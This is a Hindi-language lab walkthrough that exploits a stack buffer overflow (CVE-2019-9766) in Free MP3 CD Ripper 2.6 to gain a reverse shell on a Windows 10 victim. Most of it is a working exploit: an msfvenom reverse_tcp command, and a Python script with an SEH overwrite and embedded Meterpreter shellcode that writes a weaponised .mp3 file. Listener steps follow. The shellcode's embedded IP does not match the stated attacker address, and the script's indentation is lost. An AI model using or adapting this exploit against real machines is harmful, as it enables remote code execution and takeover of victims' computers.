
Free MP3 CD Ripper 2.6 संस्करण में स्टैक बफर ओवरफ्लो भेद्यता (CVE-2019-9766) मौजूद है, दूरस्थ हमलावर विशेष रूप से तैयार .mp3 फ़ाइल के माध्यम से इस भेद्यता का उपयोग करके मनमाना कोड निष्पादित कर सकते हैं।
Free MP3 CD Ripper 2.6 में मौजूद बफर ओवरफ्लो कमजोरी का उपयोग करके एक विशेष MP3 फ़ाइल बनाई जाती है। जब हमलावर इस फ़ाइल को प्लेयर से चलाता है, तो ऑडियो फ़ाइल का उपयोग बफर ओवरफ्लो के माध्यम से मनमाना कोड निष्पादित करने के लिए किया जाता है।
हमलावर मशीन: kali201903 (192.168.198.142)
पीड़ित मशीन: windows10 21H1 (192.168.198.137)
पीड़ित मशीन पर Free MP3 CD Ripper 2.6 स्थापित करें। kali मशीन पर MSF का उपयोग करके रिवर्स कनेक्शन शेलकोड बनाएँ:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.198.142 lport=888 -f c --smallest

ऊपर बनाए गए payload को नीचे दिए गए कोड में payload से बदलें
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6
buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6e\x84"
buf += "\x68\x02\x00\x03\x78\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";
pad = "B" * (316 - len(nops) - len(buf))
payload = buffer + NSEH + SEH + nops + buf + pad
try:
f = open("Test_Free_MP3.mp3","w")
print "[+]Creating %s bytes mp3 Files..."%len(payload)
f.write(payload)
f.close()
print "[+]mp3 File created successfully!"
except:
print "File cannot be created!"
स्क्रिप्ट चलाएँ और एक .mp3 फ़ाइल बनाएँ:

इस mp3 फ़ाइल को पीड़ित मशीन पर ले जाएँ। अब kali मशीन पर MSF कंसोल शुरू करें और पैरामीटर सेट करें, जैसा नीचे दिखाया गया है:

सेट करने के बाद सुनना शुरू करें। पीड़ित मशीन पर सॉफ़्टवेयर से mp3 फ़ाइल खोलें, रिवर्स शेल सफल हुआ:

नोट: केवल Kali2019 संस्करण ही काम करता है, Kali 2020 और उसके बाद के संस्करण विफल होते हैं (MSF संस्करण से संबंधित)। इसके अलावा, windows10 पर ही काम करता है, windows7 पर सत्यापन विफल हुआ (दोनों 64-बिट)